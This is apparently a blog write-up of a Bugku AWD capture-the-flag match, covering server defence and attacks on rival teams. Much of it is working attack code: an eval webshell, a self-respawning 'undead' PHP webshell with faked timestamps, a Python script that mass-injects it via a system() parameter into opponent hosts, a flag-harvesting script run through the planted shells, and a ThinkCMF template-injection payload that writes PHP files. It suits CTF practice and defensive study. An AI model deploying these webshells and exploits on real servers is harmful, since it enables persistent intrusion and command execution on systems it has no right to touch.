7.18bugkuawd

这次我们第7,非常遗憾第一波防御我网速好像太慢了,导致源码没下来先被吃分,被植不死马了
防御阶段
还是备份
1
|
tar -czvf web.tar.gz var/www/html
|
然后压缩后还是有30多M,可能是scp工具的原因,下载超级慢,直接错过防守阶段了
备份出来用D盾扫描

注释或者删掉,这个直接就是后门,由于第一轮没修上,也没来得及改后台密码,所以赶紧去想想怎么删掉这些马和进程了
攻击阶段
上来先被那个小洞上了不死马,然后我想着先把两个webshell注释了先,然后我这边给自己上了个马用于提权到www-data
1
|
<?php if(md5($_GET["pass"])=="d4e7fc2fe896ead7c10a69b25fec9015"){@eval($_POST[a]);} ?>
|
然后用蚁剑连上
发现起码5个不死马进程
先挨个kill
然后为了防止有些马继续上了,直接上个死循环脚本来kill apache2进程
1
2
3
4
5
|
<?php
while (1) {
system("kill `ps -ef | grep apache2 | grep -v grep | awk '{print $2}'`");
usleep(100);
}
|
虽然把大部分进程都kill了,但是还是像bash echo写入的这些进程kill不掉
攻击阶段全靠xixi发力,好多师傅的pwn没修,然后每轮都吃分
我这边修机子,修到最后只会被一队师傅打的状态,然后最后也是稳稳上分
这次赛前也是提前准备脚本,准备写不死马的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
|
import requests
from datetime import datetime
# 目标URL列表
urls = [
"http://192-168-1-32.pvp6223.bugku.cn",
"http://192-168-1-37.pvp6223.bugku.cn",
"http://192-168-1-38.pvp6223.bugku.cn",
"http://192-168-1-62.pvp6223.bugku.cn",
"http://192-168-1-79.pvp6223.bugku.cn",
"http://192-168-1-84.pvp6223.bugku.cn",
"http://192-168-1-91.pvp6223.bugku.cn",
"http://192-168-1-112.pvp6223.bugku.cn",
"http://192-168-1-117.pvp6223.bugku.cn",
"http://192-168-1-141.pvp6223.bugku.cn",
"http://192-168-1-190.pvp6223.bugku.cn",
"http://192-168-1-208.pvp6223.bugku.cn",
"http://192-168-1-210.pvp6223.bugku.cn",
"http://192-168-1-212.pvp6223.bugku.cn",
]
# 写入不死马的路径
path = "/public/videor/1ndex.php?s=system"
# 不死马PHP代码
php_code = '''<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.config.php';
$code = '<?php if(md5($_GET["pass"])=="d4e7fc2fe896ead7c10a69b25fec9015"){@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .config.php');
usleep(5000);
}
?>'''
def write_webshell():
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] 开始尝试写入不死马...")
for base_url in urls:
# 构造写入命令(使用base64编码避免特殊字符问题)
encoded_php = php_code.encode('utf-8').hex()
command = f"echo {encoded_php} | xxd -r -p > /var/www/html/shell.php"
url = f"{base_url}{path}('{command}')"
try:
# 尝试执行命令写入不死马
resp = requests.get(url, timeout=5)
print(f"\n==== 尝试在 {base_url} 写入不死马 ====")
print(f"状态码: {resp.status_code}")
print(f"响应内容: {resp.text[:100]}...")
# 验证是否写入成功
check_url = f"{base_url}/shell.php"
try:
check_resp = requests.get(check_url, timeout=5)
if check_resp.status_code == 200:
print(f"[+] 不死马写入成功: {check_url}")
print(f"访问密码: pass=ciallo123")
else:
print(f"[-] 不死马可能写入失败: {check_url}")
except Exception as check_e:
print(f"[!] 验证失败: {check_e}")
print("\n" + "="*50 + "\n")
except Exception as e:
print(f"[!] {url} 请求失败: {e}")
if __name__ == "__main__":
print("不死马写入脚本开始运行...")
write_webshell()
print("脚本执行完成")
|
提交flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
|
import requests
import time
from datetime import datetime
# 目标URL列表
urls = [
"http://192-168-1-19.pvp6199.bugku.cn",
"http://192-168-1-64.pvp6199.bugku.cn",
"http://192-168-1-75.pvp6199.bugku.cn",
"http://192-168-1-94.pvp6199.bugku.cn",
"http://192-168-1-95.pvp6199.bugku.cn",
"http://192-168-1-119.pvp6199.bugku.cn",
"http://192-168-1-128.pvp6199.bugku.cn",
"http://192-168-1-133.pvp6199.bugku.cn",
"http://192-168-1-148.pvp6199.bugku.cn",
"http://192-168-1-154.pvp6199.bugku.cn",
"http://192-168-1-175.pvp6199.bugku.cn",
"http://192-168-1-188.pvp6199.bugku.cn",
"http://192-168-1-212.pvp6199.bugku.cn",
"http://192-168-1-246.pvp6199.bugku.cn",
"http://192-168-1-250.pvp6199.bugku.cn",
]
path = "/.config.php"
# GET参数
params = {
"pass": "ciallo123"
}
# POST数据
data = {
"a": 'system("cat /flag")'
}
# 提交flag的配置
submit_base_url = "https://ctf.bugku.com/pvp/submit.html"
token = "b34932d2ac71a030ae821a648f2e535b"
# 设置5分钟延迟(300秒)
DELAY = 300
def scan_and_submit_flags():
print(f"\n[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] 开始新一轮扫描...")
# 遍历所有URL
for base_url in urls:
url = base_url + path
try:
# 尝试执行命令获取flag
resp = requests.post(url, params=params, data=data, timeout=5)
if "flag" in resp.text.lower():
flag = resp.text.strip()
print(f"==== 发现flag在 {url} ====")
print(flag)
# 提取flag内容(假设格式为flag{...})
if "flag{" in flag and "}" in flag:
flag_content = flag[flag.index("flag{"):flag.index("}")+1]
# 构造提交URL
submit_url = f"{submit_base_url}?token={token}&flag={flag_content}"
# 提交flag(不使用headers)
try:
submit_resp = requests.get(submit_url, timeout=5)
print("\n=== 提交结果 ===")
print(submit_resp.text)
except Exception as submit_e:
print(f"[!] 提交flag失败: {submit_e}")
print("\n" + "="*50 + "\n")
except Exception as e:
print(f"[!] {url} 请求失败: {e}")
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] 本轮扫描完成")
# 主循环
if __name__ == "__main__":
print("脚本开始运行,将每5分钟扫描一次目标URL...")
print("按Ctrl+C终止脚本")
try:
while True:
scan_and_submit_flags()
print(f"\n[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] 本轮扫描完成,等待{DELAY}秒后继续...")
time.sleep(DELAY)
except KeyboardInterrupt:
print("\n脚本已终止")
|
赛后才发现这个cms是ThinkCMF框架,所以要先看index.php
1
2
|
//项目路径,不可更改
define('APP_PATH', SITE_PATH . 'application/');
|
跟进application路径发现了portal/controller
下的文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
<?php
/*
* _______ _ _ _ _____ __ __ ______
* |__ __| | (_) | | / ____| \/ | ____|
* | | | |__ _ _ __ | | _| | | \ / | |__
* | | | '_ \| | '_ \| |/ / | | |\/| | __|
* | | | | | | | | | | <| |____| | | | |
* |_| |_| |_|_|_| |_|_|\_\\_____|_| |_|_|
*/
namespace Portal\Controller;
use Common\Controller\HomebaseController;
/**
* 首页
*/
class IndexController extends HomebaseController {
//首页
public function index() {
$this->display(":index");
}
}
|
网上搜漏洞还是挺多能打通的
ThinkCMF框架任意内容包含漏洞分析复现(写入shell+文件包哈) - -Zad- - 博客园
1
|
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
|
1
|
index.php?a=display&templateFile=README.md
|
所以下次可以尝试收集一些框架的漏洞信息来打